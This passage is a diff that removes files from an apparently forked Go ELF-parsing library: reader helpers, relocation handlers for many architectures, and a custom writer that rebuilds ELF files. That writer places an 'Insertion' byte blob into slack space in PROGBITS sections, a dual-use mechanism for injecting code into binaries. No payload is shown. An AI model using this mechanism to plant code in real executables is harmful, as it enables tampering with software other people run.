ds := f.SectionByType(SHT_DYNAMIC)
|
||||
if ds == nil {
|
||||
// not dynamic, so no libraries
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
str, err := f.stringTable(ds.Link)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var all []string
|
||||
for _, taggedValue := range f.DynTags {
|
||||
if taggedValue.Tag == tag {
|
||||
s, ok := getString(str, int(taggedValue.Value))
|
||||
if ok {
|
||||
all = append(all, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-108
@@ -1,108 +0,0 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package elf
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// errorReader returns error from all operations.
|
||||
type errorReader struct {
|
||||
error
|
||||
}
|
||||
|
||||
func (r errorReader) Read(p []byte) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Seek(offset int64, whence int) (int64, error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Close() error {
|
||||
return r.error
|
||||
}
|
||||
|
||||
// readSeekerFromReader converts an io.Reader into an io.ReadSeeker.
|
||||
// In general Seek may not be efficient, but it is optimized for
|
||||
// common cases such as seeking to the end to find the length of the
|
||||
// data.
|
||||
type readSeekerFromReader struct {
|
||||
reset func() (io.Reader, error)
|
||||
r io.Reader
|
||||
size int64
|
||||
offset int64
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) start() {
|
||||
x, err := r.reset()
|
||||
if err != nil {
|
||||
r.r = errorReader{err}
|
||||
} else {
|
||||
r.r = x
|
||||
}
|
||||
r.offset = 0
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Read(p []byte) (n int, err error) {
|
||||
if r.r == nil {
|
||||
r.start()
|
||||
}
|
||||
n, err = r.r.Read(p)
|
||||
r.offset += int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Seek(offset int64, whence int) (int64, error) {
|
||||
var newOffset int64
|
||||
switch whence {
|
||||
case seekStart:
|
||||
newOffset = offset
|
||||
case seekCurrent:
|
||||
newOffset = r.offset + offset
|
||||
case seekEnd:
|
||||
newOffset = r.size + offset
|
||||
default:
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
|
||||
switch {
|
||||
case newOffset == r.offset:
|
||||
return newOffset, nil
|
||||
|
||||
case newOffset < 0, newOffset > r.size:
|
||||
return 0, os.ErrInvalid
|
||||
|
||||
case newOffset == 0:
|
||||
r.r = nil
|
||||
|
||||
case newOffset == r.size:
|
||||
r.r = errorReader{io.EOF}
|
||||
|
||||
default:
|
||||
if newOffset < r.offset {
|
||||
// Restart at the beginning.
|
||||
r.start()
|
||||
}
|
||||
// Read until we reach offset.
|
||||
var buf [512]byte
|
||||
for r.offset < newOffset {
|
||||
b := buf[:]
|
||||
if newOffset-r.offset < int64(len(buf)) {
|
||||
b = buf[:newOffset-r.offset]
|
||||
}
|
||||
if _, err := r.Read(b); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
r.offset = newOffset
|
||||
return r.offset, nil
|
||||
}
|
||||
-529
@@ -1,529 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
)
|
||||
|
||||
// applyRelocations applies relocations to dst. rels is a relocations section
|
||||
// in REL or RELA format.
|
||||
func (f *File) applyRelocations(dst []byte, rels []byte) error {
|
||||
switch {
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_X86_64:
|
||||
return f.applyRelocationsAMD64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_386:
|
||||
return f.applyRelocations386(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_ARM:
|
||||
return f.applyRelocationsARM(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_AARCH64:
|
||||
return f.applyRelocationsARM64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_PPC:
|
||||
return f.applyRelocationsPPC(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_PPC64:
|
||||
return f.applyRelocationsPPC64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_RISCV:
|
||||
return f.applyRelocationsRISCV64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_S390:
|
||||
return f.applyRelocationss390x(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_SPARCV9:
|
||||
return f.applyRelocationsSPARC64(dst, rels)
|
||||
default:
|
||||
return errors.New("applyRelocations: not implemented")
|
||||
}
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsAMD64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_X86_64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_X86_64_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_X86_64_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocations386(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_386(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
if t == R_386_32 {
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_ARM(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_ARM_ABS32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_AARCH64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_AARCH64_ABS64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_AARCH64_ABS32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC(dst []byte, rels []byte) error {
|
||||
// 12 is the size of Rela32.
|
||||
if len(rels)%12 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 12")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 8
|
||||
t := R_PPC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC_ADDR32:
|
||||
if rela.Off+4 >= uint32(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_PPC64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC64_ADDR64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_PPC64_ADDR32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_MIPS(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_MIPS_32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
var symNo uint64
|
||||
var t R_MIPS
|
||||
if f.ByteOrder == binary.BigEndian {
|
||||
symNo = rela.Info >> 32
|
||||
t = R_MIPS(rela.Info & 0xff)
|
||||
} else {
|
||||
symNo = rela.Info & 0xffffffff
|
||||
t = R_MIPS(rela.Info >> 56)
|
||||
}
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_MIPS_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_MIPS_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsRISCV64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_RISCV(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_RISCV_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_RISCV_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationss390x(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_390(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_390_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_390_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsSPARC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_SPARC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_SPARC_64, R_SPARC_UA64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_SPARC_32, R_SPARC_UA32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-281
@@ -1,281 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
// Bytes - returns the bytes of an Elf file
|
||||
func (elfFile *File) Bytes() ([]byte, error) {
|
||||
|
||||
bytesWritten := uint64(0)
|
||||
elfBuf := bytes.NewBuffer(nil)
|
||||
w := bufio.NewWriter(elfBuf)
|
||||
|
||||
// Write Elf Magic
|
||||
w.WriteByte('\x7f')
|
||||
w.WriteByte('E')
|
||||
w.WriteByte('L')
|
||||
w.WriteByte('F')
|
||||
bytesWritten += 4
|
||||
|
||||
// ident[EI_CLASS]
|
||||
w.WriteByte(byte(elfFile.Class))
|
||||
// ident[EI_DATA]
|
||||
w.WriteByte(byte(elfFile.Data))
|
||||
// ident[EI_VERSION]
|
||||
w.WriteByte(byte(elfFile.Version))
|
||||
// ident[EI_OSABI]
|
||||
w.WriteByte(byte(elfFile.OSABI))
|
||||
// ident[EI_ABIVERSION]
|
||||
w.WriteByte(byte(elfFile.ABIVersion))
|
||||
// ident[EI_PAD] ( 7 bytes )
|
||||
w.Write([]byte{0, 0, 0, 0, 0, 0, 0})
|
||||
bytesWritten += 12
|
||||
|
||||
// Type
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Type))
|
||||
// Machine
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Machine))
|
||||
// Version
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Version))
|
||||
bytesWritten += 8
|
||||
|
||||
phsize := 0
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
phsize = 0x20
|
||||
// Entry 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Entry))
|
||||
// PH Offset 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0x34))
|
||||
// SH Offset 32 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int32(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // todo
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(52))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x28))
|
||||
bytesWritten += 24
|
||||
|
||||
case ELFCLASS64:
|
||||
phsize = 0x38
|
||||
// Entry 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(elfFile.Entry))
|
||||
// PH Offset 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(0x40))
|
||||
// SH Offset 64 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int64(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // I think right?
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(64))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x40))
|
||||
bytesWritten += 36
|
||||
}
|
||||
|
||||
// SH Num // 0x30 0x3C 2 e_shnum Contains the number of entries in the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Sections)))
|
||||
// SH Str Ndx // 0x32 0x3E 2 e_shstrndx Contains index of the section header table entry that contains the section names.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.ShStrIndex))
|
||||
bytesWritten += 4
|
||||
|
||||
// Program Header
|
||||
for _, p := range elfFile.Progs {
|
||||
// Type (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Type))
|
||||
bytesWritten += 4
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Memsz))
|
||||
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Align))
|
||||
|
||||
bytesWritten += 28
|
||||
|
||||
case ELFCLASS64:
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Memsz))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Align))
|
||||
|
||||
bytesWritten += 52
|
||||
}
|
||||
}
|
||||
|
||||
sortedSections := elfFile.Sections[:]
|
||||
//sort.Slice(sortedSections, func(a, b int) bool { return elfFile.Sections[a].Link < elfFile.Sections[b].Link })
|
||||
for _, s := range sortedSections {
|
||||
|
||||
//log.Printf("Writing section: %s type: %+v\n", s.Name, s.Type)
|
||||
//log.Printf("written: %x offset: %x\n", bytesWritten, s.Offset)
|
||||
|
||||
if s.Type == SHT_NULL || s.Type == SHT_NOBITS || s.FileSize == 0 {
|
||||
//log.Println("continuing...")
|
||||
continue
|
||||
}
|
||||
|
||||
if bytesWritten > s.Offset {
|
||||
log.Printf("Overlapping Sections in Generated Elf: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if s.Offset != 0 && bytesWritten < s.Offset {
|
||||
pad := make([]byte, s.Offset-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", s.Name, bytesWritten, len(pad), s.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
slen := 0
|
||||
switch s.Type {
|
||||
case SHT_DYNAMIC:
|
||||
for _, taggedValue := range elfFile.DynTags {
|
||||
//log.Printf("writing %d (%x) -> %d (%x)\n", taggedValue.Tag, taggedValue.Tag, taggedValue.Value, taggedValue.Value)
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Value))
|
||||
bytesWritten += 8
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Value))
|
||||
bytesWritten += 16
|
||||
}
|
||||
}
|
||||
default:
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, elfFile.ByteOrder, section)
|
||||
slen = len(section)
|
||||
//log.Printf("Wrote %s section at %x, length %x\n", s.Name, bytesWritten, slen)
|
||||
bytesWritten += uint64(slen)
|
||||
}
|
||||
|
||||
// todo: elfFile.Insertion should be renamed InsertionLoadEnd or similar
|
||||
if s.Type == SHT_PROGBITS && len(elfFile.Insertion) > 0 && s.Size-uint64(slen) >= uint64(len(elfFile.Insertion)) {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.Insertion)
|
||||
bytesWritten += uint64(len(elfFile.Insertion))
|
